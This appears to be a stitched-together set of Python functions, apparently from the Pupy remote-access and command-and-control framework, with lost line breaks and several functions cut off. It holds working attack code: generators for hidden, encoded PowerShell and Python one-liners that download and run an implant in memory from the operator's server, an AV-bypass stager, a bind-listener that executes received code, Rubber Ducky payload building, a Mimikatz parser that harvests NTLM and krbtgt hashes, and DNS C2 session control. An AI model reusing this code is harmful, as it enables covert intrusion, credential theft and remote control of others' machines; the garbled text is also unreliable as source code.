def dotnet_serve_payload(display, server, rawdll, conf, link_ip="<your_ip>"): if not server: display(Error('Oneliners only supported from pupysh')) return if not server.pupweb: display(Error('Webserver disabled')) return dn = DotNetPayload(display, server, conf, rawdll) exe_path = dn.gen_exe(options='-target:library') with open(exe_path, 'rb') as r: payload = r.read() os.unlink(exe_path) landing_uri = server.pupweb.serve_content(payload, alias='.NET payload') command = PS_TEMPLATE.format(link_ip=link_ip, port=server.pupweb.port, landing_uri=landing_uri).encode('utf-16le') display( List( [ 'powershell -w hidden -enc "{}"'.format(b64encode(command)), ], caption=Success( 'Copy/paste this one-line loader to deploy pupy without writing on the disk' )))
def do(server, handler, config, args): if args.command == 'list': result = [] for section in config.sections(): if args.section and args.section != section: continue result.append('[{}]'.format(section)) if args.sections: continue for variable in config.options(section): result.append('{} = {}'.format(variable, config.get(section, variable))) result.append('') handler.display(Pygment(IniLexer(), '\n'.join(result))) elif args.command == 'set': try: value = args.value if args.args: value += ' ' value += ' '.join(args.args) config.set(args.section, args.key, value) config.save(project=args.write_project, user=args.write_user) except config.NoSectionError: handler.display(Error(args.section, 'No section')) elif args.command == 'unset': try: if args.keys: for key in args.keys: config.remove_option(args.section, key) else: to_remove = [k for k, _ in config.items(args.section)] for k in to_remove: config.remove_option(args.section, k) config.remove_section(args.section) config.save(project=args.write_project, user=args.write_user) except config.NoSectionError: handler.display(Error(args.section, 'No section')) elif args.command == 'save': config.save(project=args.write_project, user=args.write_user)
def __init__(self, display, conf, pupy_conf, link_port=8080, targetOs='Windows'): ''' ''' self.conf = conf i = conf["launcher_args"].index("--host") + 1 self.link_ip = conf["launcher_args"][i].split(":", 1)[0] self.link_port = link_port self.pupy_conf = pupy_conf self.__loadRubberDuckyConf__() self.rubberDuckyScriptFilename = 'rubberDuckyPayload.txt' self.rubberDuckyBinFilename = 'inject.bin' self.targetOs = targetOs self.display = display self.unconfigured = False if self.targetOs not in self.TARGET_OS_MANAGED: self.display( Error( 'Target OS ({0}) is not valid. It has to be in {1}'.format( targetOs, self.TARGET_OS_MANAGED)))
def do(server, handler, config, args): orig_exit = builtins.exit orig_quit = builtins.quit def disabled_exit(*args, **kwargs): handler.display( Error('exit() disabled ! use ctrl+D to exit the python shell')) builtins.exit = disabled_exit builtins.quit = disabled_exit oldcompleter = readline.get_completer() try: local_ns = { 'server': server, 'handler': handler, 'config': config, } readline.set_completer(PythonCompleter(local_ns=local_ns).complete) readline.parse_and_bind('tab: complete') code.interact(local=local_ns) except Exception as e: handler.display(Error(e)) finally: readline.set_completer(oldcompleter) readline.parse_and_bind('tab: complete') builtins.exit = orig_exit builtins.quit = orig_quit
def main(): from pupylib.utils.term import hint_to_text from traceback import print_exc def display(data): print hint_to_text(data) Credentials.DEFAULT_ROLE = 'CLIENT' config = PupyConfig() Credentials(config=config, validate=True) parser = get_parser(argparse.ArgumentParser, config) try: args = parser.parse_args() pupygen(args, config, None, display) except NoOutput: sys.exit(0) except InvalidOptions: sys.exit(1) except (ValueError, EncryptionError), e: if args.debug: print_exc() display(Error(e))
def pupygen(args, config, pupsrv, display): scriptlets = load_scriptlets(args.os, args.arch) if args.list: display(MultiPart([ Table([{ 'FORMAT': f, 'DESCRIPTION': d } for f,d in { 'client': 'generate client binary (linux/windows/apk/..)', 'py': 'fully packaged python file', 'py_oneliner': 'same as \'py\' format but served over http', 'ps1': 'generate ps1 file which embeds pupy dll (x86-x64) and inject it to current process', 'ps1_oneliner': 'load pupy remotely from memory with a single command line using powershell', 'csharp': 'generate C# source (.cs) that executes pupy', '.NET': 'compile a C# payload into a windows executable.', '.NET_oneliner': 'Loads .NET assembly from memory via powershell' }.iteritems()], ['FORMAT', 'DESCRIPTION'], Color('Available formats (usage: -f <format>)', 'yellow')), Table([{ 'TRANSPORT': name, 'DESCRIPTION': t.info } for name, t in transports.iteritems()], ['TRANSPORT', 'DESCRIPTION'], Color('Available transports (usage: -t <transport>)', 'yellow')), Table([{ 'SCRIPTLET': name, 'DESCRIPTION': sc.description, 'ARGS': '; '.join( '{}={}'.format(k,v) for k,v in sc.arguments.iteritems() ) } for name, sc in scriptlets.iteritems()], ['SCRIPTLET', 'DESCRIPTION', 'ARGS'], Color( 'Available scriptlets for {}/{} ' '(usage: -s <scriptlet>[,arg1=value1,arg2=value2]'.format( args.os or 'any', args.arch or 'any'), 'yellow')) ])) raise NoOutput() if args.workdir: os.chdir(args.workdir) script_code="" try: if args.scriptlet: script_code = pack_scriptlets( display, scriptlets, args.scriptlet, os=args.os, arch=args.arch, debug=args.debug_scriptlets) except ValueError, e: display(Error(e.message)) raise NoOutput()
def __loadRubberDuckyConf__(self): ''' ''' self.encoderPath = self.pupy_conf.get('rubber_ducky', 'encoder_path') self.keyboardLayoutPath = self.pupy_conf.get( 'rubber_ducky', 'default_keyboard_layout_path') if self.encoderPath == 'TO_FILL': self.unconfigured = True self.display( Error( 'The "encoder_path" value has to be filled in pupy.conf for generating inject.bin' )) if self.keyboardLayoutPath == 'TO_FILL': self.unconfigured = True self.display( Error( 'The "default_keyboard_layout_path" value has to be filled in pupy.conf ' 'for generating inject.bin'))
def serve_payload(display, server, payload, link_ip="<your_ip>"): if not server: display(Error('Oneliners only supported from pupysh')) return if not server.pupweb: display(Error('Webserver disabled')) return landing_uri = server.pupweb.serve_content(payload, alias='py payload') display(Warn('Python 2.7.x required, x should be >= 9')) display( List([ "python -c 'import urllib;exec urllib.urlopen(\"http://%s:%s%s\").read()'" % (link_ip, server.pupweb.port, landing_uri), ], caption=Success( 'Copy/paste this one-line loader to deploy pupy without writing on the disk' )))
def do(server, handler, config, modargs): pj = None args = modargs.arguments clients_filter = modargs.filter or handler.default_filter try: module = server.get_module( server.get_module_name_from_category(modargs.module)) except PupyModuleUsageError, e: prog, message, usage = e.args self.display(Line(Error(prog + ':'), Color(message, 'lightred'))) self.display(usage)
def do(server, handler, config, modargs): if modargs.kill: j = server.get_job(modargs.kill) handler.summary(j) finished = j.is_finished() if finished: server.del_job(j.jid) handler.display(Success('Job closed')) else: j.interrupt() j.stop() handler.display(Success('Job killed')) server.del_job(modargs.kill) del j elif modargs.kill_no_output: j = server.get_job(modargs.kill_no_output) finished = j.is_finished() if finished: server.del_job(j.jid) handler.display('Job closed') else: j.interrupt() j.stop() handler.display(Success('Job killed')) server.del_job(modargs.kill_no_output) del j elif modargs.print_output: j = server.get_job(modargs.print_output) handler.summary(j) elif modargs.list: if server.jobs: dictable = [] for jid, job in server.jobs.iteritems(): dictable.append({ 'id': jid, 'job': str(job), 'status': 'finished' if job.is_finished() else 'running', 'clients': len(job) }) handler.display(Table(dictable, ['id', 'job', 'clients', 'status'])) else: handler.display(Error('No jobs are currently running'))
def log(self, handler): if not self.show_requests: return message = 'Web: ' if handler.request.uri in self.aliases: message += '({}) '.format(self.aliases[handler.request.uri]) message += handler._request_summary() if handler.get_status() < 400: self.pupsrv.info(Success(message)) else: self.pupsrv.info(Error(message))
def send_ps1_payload(display, conf, bind_port, target_ip, nothidden=False): ps1_template = """$l=[System.Net.Sockets.TcpListener][BIND_PORT];$l.start();$c=$l.AcceptTcpClient();$t=$c.GetStream(); [byte[]]$b=0..4096|%{0};$t.Read($b, 0, 4);$c=""; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){$t.Write([System.Text.Encoding]::UTF8.GetBytes("2"),0,1);} else{$t.Write([System.Text.Encoding]::UTF8.GetBytes("1"),0,1);} while(($i=$t.Read($b,0,$b.Length)) -ne 0){ $d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$c=$c+$d; } $t.Close();$l.stop();iex $c; """ main_ps1_template = """$c=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{0}'));iex $c;""" hidden = '' if nothidden else '-w hidden ' launcher = ps1_template.replace("[BIND_PORT]", bind_port) launcher = launcher.replace('\n', '').replace(' ', '') basic_launcher = "powershell.exe [HIDDEN]-noni -nop [CMD]".replace( '[HIDDEN]', hidden) oneliner = basic_launcher.replace('[CMD]', '-c \"%s\"' % launcher) encoded_oneliner = basic_launcher.replace( '[CMD]', '-enc %s' % b64encode(launcher.encode('UTF-16LE'))) display( List([ oneliner, encoded_oneliner, ], caption=Success('Copy/paste one of these one-line loader to ' 'deploy pupy without writing on the disk'))) display(Success('Generating puppy dll. Be patient...')) display(Success('Connecting to {0}:{1}'.format(target_ip, bind_port))) s = None for _ in xrange(10): try: s = socket.create_connection((target_ip, int(bind_port))) break except socket.error, e: if e.errno not in (errno.ECONNREFUSED, errno.ETIMEDOUT): display(Error('Connection failed: {}'.format(e))) return sleep(CONNECTION_RETRY_SLEEP_TIME)
def generateInjectBinFile(self): ''' returns True if no error Otherwise returns False ''' rubberDuckyEncodeCmd = self.ENCODE_CMD.format( self.encoderPath, self.rubberDuckyScriptFilename, self.keyboardLayoutPath, self.rubberDuckyBinFilename) try: output = subprocess.check_output(rubberDuckyEncodeCmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True) except subprocess.CalledProcessError, e: self.display( Error( 'Impossible to generate {0} file with encoder: {1}'.format( self.rubberDuckyBinFilename, repr(e.output))))
def pack_scriptlets(display, scriptlets, args_scriptlet, os=None, arch=None, debug=False): sp = ScriptletsPacker(os, arch) for sc in args_scriptlet: tab = sc.split(",", 1) sc_args = {} name = tab[0] if len(tab) == 2: try: for x, y in [x.strip().split("=") for x in tab[1].split(",")]: sc_args[x.strip()] = y.strip() except: raise ValueError( "usage: pupygen ... -s %s,arg1=value,arg2=value,..." % name) if name not in scriptlets: raise ValueError("unknown scriptlet %s, valid choices are : %s" % (repr(name), [x for x in scriptlets.iterkeys()])) display( Success('loading scriptlet {}{}'.format( repr(name), 'with args {}'.format(' '.join( '{}={}'.format(k, repr(v)) for k, v in sc_args.iteritems())) if sc_args else ''))) try: sp.add_scriptlet(scriptlets[name], sc_args) except ScriptletArgumentError as e: display( MultiPart( Error('Scriptlet {} argument error: {}'.format( repr(name), str(e))), scriptlets[name].format_help())) raise ValueError('{}'.format(e)) script_code = sp.pack() return script_code
def get_raw_conf(display, conf, obfuscate=False, verbose=False): credentials = Credentials(role='client') if "offline_script" not in conf: offline_script="" else: offline_script=conf["offline_script"] launcher = launchers[conf['launcher']]() launcher.parse_args(conf['launcher_args']) required_credentials = set(launcher.credentials) \ if hasattr(launcher, 'credentials') else set([]) transport = launcher.get_transport() transports_list = [] if transport: transports_list = [transport] if transports[transport].credentials: for name in transports[transport].credentials: required_credentials.add(name) elif not transport: for n, t in transports.iteritems(): transports_list.append(n) if t.credentials: for name in t.credentials: required_credentials.add(name) available = [] not_available = [] for cred in required_credentials: if credentials[cred]: available.append(cred) else: not_available.append(cred) display( List(available, bullet=Color('+', 'green'), caption=Success('Required credentials (found)'))) if not_available: display( List(not_available, bullet=Color('-', 'red'), caption=Error('Required credentials (not found)'))) embedded_credentials = '\n'.join([ '{}={}'.format(credential, repr(credentials[credential])) \ for credential in required_credentials if credentials[credential] is not None ])+'\n' if verbose: config_table = [{ 'KEY': k, 'VALUE': 'PRESENT' if (k in ('offline_script') and v) else ( unicode(v) if type(v) not in (tuple,list,set) else ' '.join( unicode(x) for x in v)) } for k,v in conf.iteritems() if v] display(Table(config_table, ['KEY', 'VALUE'], Color('Configuration', 'yellow'), vspace=1)) config = '\n'.join([ 'pupyimporter.pupy_add_package({})'.format( repr(cPickle.dumps({ 'pupy_credentials.pye': bytes(pupycompile(embedded_credentials, obfuscate=True)) }))), dependencies.importer(set( 'network.transports.{}'.format(transport) for transport in transports_list ), path=ROOT), 'import sys', 'sys.modules.pop("network.conf", "")', 'import network.conf', 'LAUNCHER={}'.format(repr(conf['launcher'])), 'LAUNCHER_ARGS={}'.format(repr(conf['launcher_args'])), 'CONFIGURATION_CID={}'.format(conf.get('cid', 0x31338)), 'DELAYS={}'.format(repr(conf.get('delays', [ (10, 5, 10), (50, 30, 50), (-1, 150, 300)]))), 'pupy.cid = CONFIGURATION_CID', 'debug={}'.format(bool(conf.get('debug', False))), 'SCRIPTLETS={}'.format(repr(offline_script) if offline_script else '""') ]) return compress_encode_obfs(config) if obfuscate else config
def do(server, handler, config, modargs): try: credentials = Credentials(config=config) except Exception, e: handler.display(Error(e)) return
def do(server, handler, config, modargs): pj = None args = modargs.arguments clients_filter = modargs.filter or handler.default_filter try: module = server.get_module( server.get_module_name_from_category(modargs.module)) except PupyModuleUsageError, e: prog, message, usage = e.args self.display(Line(Error(prog + ':'), Color(message, 'lightred'))) self.display(usage) except Exception as e: handler.display(Error(e, modargs.module)) return if not module: handler.display(Error('Unknown module', modargs.module)) return clients = server.get_clients(clients_filter) if not clients: if not server.clients: handler.display(Error('No clients currently connected')) else: handler.display(Error('No clients match this search!')) return modjobs = [
def do(server, handler, config, args): if not args.launcher or (args.launcher and args.launcher in ('connect', 'auto_proxy')): args.launcher = args.launcher or 'connect' transport = None transport_idx = None host = None host_idx = None port = None preferred_ok = True need_transport = False need_hostport = False if args.launcher_args: total = len(args.launcher_args) for idx,arg in enumerate(args.launcher_args): if arg == '-t' and idx < total-1: transport = args.launcher_args[idx+1] transport_idx = idx+1 elif arg == '--host' and idx<total-1: host_idx = idx+1 hostport = args.launcher_args[host_idx] if ':' in hostport: host, port = hostport.rsplit(':', 1) port = int(port) else: try: port = int(hostport) except: host = hostport need_transport = not bool(transport) need_hostport = not all([host, port]) if not all([host, port, transport]): default_listener = None preferred_ok = False if transport: default_listener = server.listeners.get(transport) if not default_listener: handler.display(Error( 'Requested transport {} is not active. Will use default'.format( transport))) need_transport = True if not default_listener: try: default_listener = next(server.listeners.itervalues()) except StopIteration: pass if default_listener: transport = default_listener.name handler.display(Info( 'Connection point: Transport={} Address={}:{}'.format( default_listener.name, default_listener.external, default_listener.external_port))) if host or port: handler.display(Warn('Host and port will be ignored')) if args.prefer_external != default_listener.local: host = default_listener.external port = default_listener.external_port preferred_ok = True elif not args.prefer_external and not default_listener.local: host = get_listener_ip(cache=False) if host: handler.display(Warn('Using {} as local IP'.format(host))) port = default_listener.port preferred_ok = True else: preferred_ok = not (default_listener.local and args.prefer_external) if not transport: handler.display(Error('No active transports. Explicitly choose one')) return if not all([host, port, preferred_ok]): maybe_port = get_listener_port(config, external=args.prefer_external) maybe_host, local = get_listener_ip_with_local( external=args.prefer_external, config=config, igd=server.igd ) if (not local and args.prefer_external) or not (host and port): handler.display(Warn('Using configured/discovered external HOST:PORT')) host = maybe_host port = maybe_port else: handler.display(Warn('Unable to find external HOST:PORT')) if need_transport: if transport_idx is None: args.launcher_args += ['-t', transport] else: args.launcher_args[transport_idx] = transport if need_hostport: hostport = '{}:{}'.format(host, port) if host_idx is None: args.launcher_args += ['--host', hostport] else: args.launcher_args[host_idx] = hostport if server.httpd: wwwroot = config.get_folder('wwwroot') if not args.output_dir: args.output_dir = wwwroot try: output = pupygen.pupygen(args, config, server, handler.display) except pupygen.NoOutput: return except Exception, e: handler.display(Error(e, 'payload generation failed')) import traceback traceback.print_exc() return
try: for item in credentials.display(search=modargs.search.decode('utf-8'), isSorted=modargs.sort): if item['category'] not in categories: categories[item['category']] = { 'credtype': item.get('credtype'), 'creds': [] } category = categories[item['category']] category['creds'].append({ k:v for k,v in item.iteritems() if k in ('cid', 'login', 'secret', 'resource') }) except Exception, e: handler.display(Error(e)) return if not categories: handler.display(Error('DB is empty')) return try: for category,info in categories.iteritems(): if not info['creds']: continue credtype = info['credtype'] columns = ['cid', 'login', 'secret', 'resource'] caption = category
def parse_mimikatz(self, data): """ Parse the output from Invoke-Mimikatz to return credential sets. This was directly stolen from the Empire project as well. """ # cred format: # credType, domain, username, password, hostname, sid creds = [] # regexes for "sekurlsa::logonpasswords" Mimikatz output regexes = [ "(?s)(?<=msv :).*?(?=tspkg :)", "(?s)(?<=tspkg :).*?(?=wdigest :)", "(?s)(?<=wdigest :).*?(?=kerberos :)", "(?s)(?<=kerberos :).*?(?=ssp :)", "(?s)(?<=ssp :).*?(?=credman :)", "(?s)(?<=credman :).*?(?=Authentication Id :)", "(?s)(?<=credman :).*?(?=mimikatz)" ] hostDomain = "" domainSid = "" hostName = "" lines = data.split("\n") for line in lines[0:2]: if line.startswith("Hostname:"): try: domain = line.split(":")[1].strip() temp = domain.split("/")[0].strip() domainSid = domain.split("/")[1].strip() hostName = temp.split(".")[0] hostDomain = ".".join(temp.split(".")[1:]) except: pass for regex in regexes: p = re.compile(regex) for match in p.findall(data): lines2 = match.split("\n") username, domain, password = "", "", "" for line in lines2: try: if "Username" in line: username = line.split(":", 1)[1].strip() elif "Domain" in line: domain = line.split(":", 1)[1].strip() elif "NTLM" in line or "Password" in line: password = line.split(":", 1)[1].strip() except: pass if password: if username != "" and password != "" and password != "(null)": sid = "" # substitute the FQDN in if it matches if hostDomain.startswith(domain.lower()): domain = hostDomain sid = domainSid store = False category = '' if self.validate_ntlm(password): credType = "Hash" category = 'NTLM hash' if not username.endswith("$"): store = True else: credType = "Password" category = 'System password' # ignore big hex password if len(password) < 300: store = True result = { 'Domain': domain, 'Login': username, credType: password, 'CredType': credType.lower(), 'Host': hostName, 'sid': sid, 'Category': category, 'uid': self.client.short_name() } # do not store password if it has already been stored for c in creds: if c == result: store = False if store: creds.append(result) username, domain, password = "", "", "" if len(creds) == 0: # check if we have lsadump output to check for krbtgt # happens on domain controller hashdumps for x in xrange(8, 13): if lines[x].startswith("Domain :"): domain, sid, krbtgtHash = "", "", "" try: domainParts = lines[x].split(":")[1] domain = domainParts.split("/")[0].strip() sid = domainParts.split("/")[1].strip() # substitute the FQDN in if it matches if hostDomain.startswith(domain.lower()): domain = hostDomain sid = domainSid for x in xrange(0, len(lines)): if lines[x].startswith("User : krbtgt"): krbtgtHash = lines[x + 2].split(":")[1].strip() break if krbtgtHash != "": creds.append({ 'Domain': domain, 'Login': username, 'Hash': krbtgtHash, 'Host': hostName, 'CredType': 'hash', 'sid': sid, 'Category': 'krbtgt hash', 'uid': self.client.short_name() }) except Exception, e: self.log(Error(e))
args.output_dir = wwwroot try: output = pupygen.pupygen(args, config, server, handler.display) except pupygen.NoOutput: return except Exception, e: handler.display(Error(e, 'payload generation failed')) import traceback traceback.print_exc() return if not output and 'oneliner' not in args.format: handler.display(Error('payload generation failed')) return if server.httpd and output.startswith(wwwroot): wwwpath = os.path.relpath(output, wwwroot) if config.getboolean('httpd', 'secret'): wwwpath = '/'.join([ config.get('randoms', 'wwwsecret', random=5) ] + [ config.set('randoms', None, x, random=5) for x in wwwpath.split('/') ]) handler.display(Success('WWW URI PATH: /{}'.format(wwwpath))) host="<host:port>" try: for i in range(0,len(args.launcher_args)):
def serve_ps1_payload(display, server, conf, link_ip="<your_ip>", useTargetProxy=False, nothidden=False): if not server: display(Error('Oneliners only supported from pupysh')) return if not server.pupweb: display(Error('Webserver disabled')) return stage_encoding = "$data='{0}';$code=[System.Text.Encoding]::UTF8.GetString("\ "[System.Convert]::FromBase64String($data));$data='';iex $code;" payload_url_x86 = server.pupweb.serve_content(stage_encoding.format( b64encode(pupygen.generate_ps1(display, conf, x86=True, as_str=True))), as_file=True, alias='ps1 payload [x86]') payload_url_x64 = server.pupweb.serve_content(stage_encoding.format( b64encode(pupygen.generate_ps1(display, conf, x64=True, as_str=True))), as_file=True, alias='ps1 payload [x64]') protocol = 'http' ssl_cert_validation = '' not_use_target_proxy = '' hidden = '-w hidden ' if nothidden: hidden = '' if server.pupweb.ssl: protocol = 'https' ssl_cert_validation = '[System.Net.ServicePointManager]::'\ 'ServerCertificateValidationCallback={$true};' if not useTargetProxy: not_use_target_proxy = '$w=(New-Object System.Net.WebClient);'\ '$w.Proxy=[System.Net.GlobalProxySelection]::GetEmptyWebProxy();' powershell = "[NOT_USE_TARGET_PROXY][SSL_CERT_VALIDATION]IEX("\ "New-Object Net.WebClient).DownloadString('[PROTOCOL]://[LINK_IP]:[LINK_PORT][RANDOM]');" repls = { '[NOT_USE_TARGET_PROXY]': not_use_target_proxy, '[SSL_CERT_VALIDATION]': ssl_cert_validation, '[PROTOCOL]': protocol, '[LINK_IP]': '%s' % link_ip, '[LINK_PORT]': '%s' % server.pupweb.port, } for k, v in repls.iteritems(): powershell = powershell.replace(k, v) launcher_x64 = powershell.replace('[RANDOM]', payload_url_x64) launcher_x86 = powershell.replace('[RANDOM]', payload_url_x86) # Compute stage1 to gain time response ps_template_stage1 = "if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{ {0} }} else {{ {1} }}" # For bypassing AV stage1 = r"$code=[System.Text.Encoding]::UTF8.GetString("\ "[System.Convert]::FromBase64String('{0}'));iex $code;".format( b64encode(ps_template_stage1.format(launcher_x64, launcher_x86))) landing_uri = server.pupweb.serve_content(stage1, alias='ps1 payload loader') launcher = powershell.replace('[RANDOM]', landing_uri) basic_launcher = "powershell.exe [HIDDEN]-noni -nop [CMD]".replace( '[HIDDEN]', hidden) oneliner = basic_launcher.replace('[CMD]', '-c \"%s\"' % launcher) encoded_oneliner = basic_launcher.replace( '[CMD]', '-enc %s' % b64encode(launcher.encode('UTF-16LE'))) display( List( [oneliner, encoded_oneliner], caption=Success( 'Copy/paste one of these one-line loader to deploy pupy without writing on the disk:' ))) display( Warn('Please note that even if the target\'s system uses a proxy, ' 'this previous powershell command will not use the ' 'proxy for downloading pupy'))
def do(server, handler, config, args): if not server.dnscnc: handler.display(Error('DNSCNC disabled')) return if args.command == 'status': policy = handler.dnscnc.policy objects = { 'DOMAIN': server.dnscnc.dns_domain, 'DNS PORT': str(server.dnscnc.dns_port), 'RECURSOR': server.dnscnc.dns_recursor, 'LISTEN': str(server.dnscnc.dns_listen), 'SESSIONS': 'TOTAL={} DIRTY={}'.format(server.dnscnc.count, server.dnscnc.dirty), 'POLL': '{}s'.format(policy['interval']), 'TIMEOUT': '{}s'.format(policy['timeout']), 'KEX': '{}'.format(bool(policy['kex'])), } handler.display( Table([{ 'PROPERTY': k, 'VALUE': v } for k, v in objects.iteritems()], ['PROPERTY', 'VALUE'])) if server.dnscnc.commands: handler.display('\nDEFAULT COMMANDS:\n' + '\n'.join([ '{:03d} {}'.format(i, cmd) for i, cmd in enumerate(server.dnscnc.commands) ])) if server.dnscnc.node_commands: handler.display('\nNODE DEFAULT COMMANDS:') for node, commands in server.dnscnc.node_commands.iteritems(): handler.display('\n' + '\n'.join([ '{:03d} {}: {}'.format( i, '{:012x}'.format(node) if type(node) == int else node, cmd) for i, cmd in enumerate(commands) ])) elif args.command == 'info': sessions = server.dnscnc.list(args.node) if not sessions: handler.display(Success('No active DNSCNC sesisons found')) return objects = [] sort_by = None if args.o: sort_by = lambda x: x.system_info['os'] + x.system_info['arch'] elif args.i: sort_by = lambda x: x.system_info['external_ip'] elif args.n: sort_by = lambda x: x.system_info['node'] elif args.c: sort_by = lambda x: x.system_status['cpu'] elif args.m: sort_by = lambda x: x.system_status['mem'] elif args.l: sort_by = lambda x: x.system_status['listen'] elif args.e: sort_by = lambda x: x.system_status['remote'] elif args.u: sort_by = lambda x: x.system_status['users'] elif args.x: sort_by = lambda x: x.system_status['idle'] elif args.t: sort_by = lambda x: str(sorted(config.tags(x.system_info['node']))) if sort_by: sessions = sorted(sessions, key=sort_by, reverse=bool(args.r)) for idx, session in enumerate(sessions): if not (session.system_status and session.system_info): continue object = { '#': '{:03d}'.format(idx), 'P': '', 'NODE': '{:012x}'.format(session.system_info['node']), 'SESSION': '{:08x}'.format(session.spi), 'IP': session.system_info['external_ip'] or '?', 'OS': '{}/{}'.format(session.system_info['os'], session.system_info['arch']), 'CPU': '{:d}%'.format(session.system_status['cpu']), 'MEM': '{:d}%'.format(session.system_status['mem']), 'LIS': '{:d}'.format(session.system_status['listen']), 'EST': '{:d}'.format(session.system_status['remote']), 'USERS': '{:d}'.format(session.system_status['users']), 'IDLE': '{}'.format(session.system_status['idle']), 'TAGS': '{}'.format(config.tags(session.system_info['node'])) } pupy_session = None for c in server.clients: if 'spi' in c.desc: if c.desc['spi'] == '{:08x}'.format(session.spi): pupy_session = c.desc['id'] elif c.node() == '{:012x}'.format(session.system_info['node']): pupy_session = c.desc['id'] break if pupy_session: object.update({'P': pupy_session}) color = '' if (session.online_status or session.egress_ports or session.open_ports): color = 'cyan' elif session.system_status['cpu'] > 90 or session.system_status[ 'mem'] > 90: color = 'lightred' elif (session.pstore_dirty): color = 'magenta' elif not session.system_status['idle']: color = 'lightyellow' elif pupy_session: color = 'lightgreen' if color: object = {k: Color(v, color) for k, v in object.iteritems()} objects.append(object) columns = [ '#', 'P', 'NODE', 'SESSION', 'IP', 'OS', 'CPU', 'MEM', 'LIS', 'EST', 'USERS', 'IDLE', 'TAGS' ] handler.display(Table(objects, columns)) elif args.command == 'sessions': sessions = server.dnscnc.list(args.node) if not sessions: handler.display(Success('No active DNSCNC sesisons found')) return objects = [] sort_by = None if args.b: sort_by = lambda x: x.system_info['boottime'] elif args.o: sort_by = lambda x: x.system_info['os'] + x.system_info['arch'] elif args.i: sort_by = lambda x: x.system_info['external_ip'] elif args.d: sort_by = lambda x: x.duration elif args.c: sort_by = lambda x: x.commands elif args.n: sort_by = lambda x: x.system_info['node'] if sort_by: sessions = sorted(sessions, key=sort_by, reverse=bool(args.r)) for idx, session in enumerate(sessions): object = { '#': idx, 'P': '', 'NODE': '{:012x}'.format(session.system_info['node']), 'SESSION': '{:08x}'.format(session.spi), 'EXTERNAL IP': '{}'.format( session.system_info['external_ip'] or '?' ), 'ONLINE': '{}'.format( 'Y' if session.system_info['internet'] else 'N' ), 'IDLE': '{}s'.format(session.idle), 'DURATION': '{}s'.format(session.duration), 'OS': '{}/{}'.format( session.system_info['os'], session.system_info['arch'] ), 'BOOTED': '{}s'.format( session.system_info['boottime'].ctime()) if \ session.system_info['boottime'] else '?', 'CMDS': '{}'.format(len(session.commands)) } pupy_session = None for c in server.clients: if 'spi' in c.desc: if c.desc['spi'] == '{:08x}'.format(session.spi): pupy_session = c.desc['id'] elif c.node() == '{:012x}'.format(session.system_info['node']): pupy_session = c.desc['id'] break color = None if pupy_session: object.update({'P': pupy_session}) color = 'lightgreen' elif session.idle > server.dnscnc.policy['interval']: color = 'grey' elif not session.system_info['internet']: color = 'lightred' elif len(session.commands) > 0: color = 'yellow' if color: object = {k: Color(v, color) for k, v in object.iteritems()} objects.append(object) columns = [ '#', 'P', 'NODE', 'SESSION', 'OS', 'ONLINE', 'EXTERNAL IP', 'IDLE', 'DURATION', 'BOOTED', 'CMDS' ] handler.display(Table(objects, columns)) elif args.command == 'nodes': nodes = server.dnscnc.nodes(args.node) if not nodes: handler.display(Success('No active DNSCNC nodes found')) return objects = [] sort_by = None if args.i: sort_by = lambda x: x.cid if args.a: sort_by = lambda x: x.alert elif args.I: sort_by = lambda x: x.iid elif args.d: sort_by = lambda x: x.duration elif args.c: sort_by = lambda x: len(x.commands) elif args.n: sort_by = lambda x: x.node elif args.v: sort_by = lambda x: x.version if sort_by: nodes = sorted(nodes, key=sort_by, reverse=bool(args.r)) for idx, node in enumerate(nodes): object = { '#': idx, 'P': '', 'A': 'Y' if node.alert else '', 'NODE': '{:012x}'.format(node.node), 'IID': '{}'.format( 'pid:{}'.format(node.iid) if node.iid < 65535 \ else 'spi:{:08x}'.format(node.iid)), 'VER': '{}'.format(node.version), 'CID': '{:08x}'.format(node.cid), 'IDLE': '{}s'.format(node.idle), 'DURATION': '{}s'.format(node.duration), 'CMDS': '{}'.format(len(node.commands)), 'TAGS': '{}'.format(config.tags(node.node)), 'WARN': '{}'.format(node.warning if node.warning else '') } pupy_session = None ids = [] for c in server.clients: if c.node() == '{:012x}'.format(node.node): if (node.iid <= 65535 and c.desc['pid'] % 65535 == node.iid) \ or (node.iid > 65535 and 'spi' in c.desc and \ c.desc['spi'] == '{:08x}'.format(node.iid)): ids.append(str(c.desc['id'])) if ids: pupy_session = ','.join(ids) color = None if pupy_session: object.update({'P': pupy_session}) if node.alert: color = 'lightred' elif node.warning: color = 'cyan' elif pupy_session: color = 'lightgreen' elif node.idle > server.dnscnc.policy['interval']: color = 'grey' elif len(node.commands) > 0: color = 'yellow' if color: object = {k: Color(v, color) for k, v in object.iteritems()} objects.append(object) columns = [ '#', 'P', 'A', 'NODE', 'IID', 'VER', 'CID', 'IDLE', 'DURATION', 'CMDS', 'TAGS', 'WARN' ] handler.display(Table(objects, columns)) elif args.command == 'wait': now = time.time() timeout = None if args.timeout: timeout = now + args.timeout else: timeout = now + handler.dnscnc.policy['timeout'] dirty = True while dirty or (time.time() >= timeout): dirty = False for session in server.dnscnc.list(): if len(session.commands) > 0: dirty = True if dirty: time.sleep(1) elif args.command == 'set': set_kex = None if args.kex is not None: set_kex = True elif args.no_kex is not None: set_kex = False if all([x is None for x in [set_kex, args.timeout, args.poll]]): handler.display(Error('No arguments provided.')) else: count = server.dnscnc.set_policy(set_kex, args.timeout, args.poll, node=args.node) if count: handler.display( Success('Apply policy to {} known nodes'.format(count))) elif args.command == 'reset': count = server.dnscnc.reset(session=args.node, default=args.default) if count: handler.display( Success('Reset commands on {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'connect': try: count = server.dnscnc.connect(host=args.host, port=args.port, transport=args.transport, node=args.node, default=args.default) except Exception, e: handler.display(Error(e)) return if count: handler.display( Success('Schedule connect {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node)))
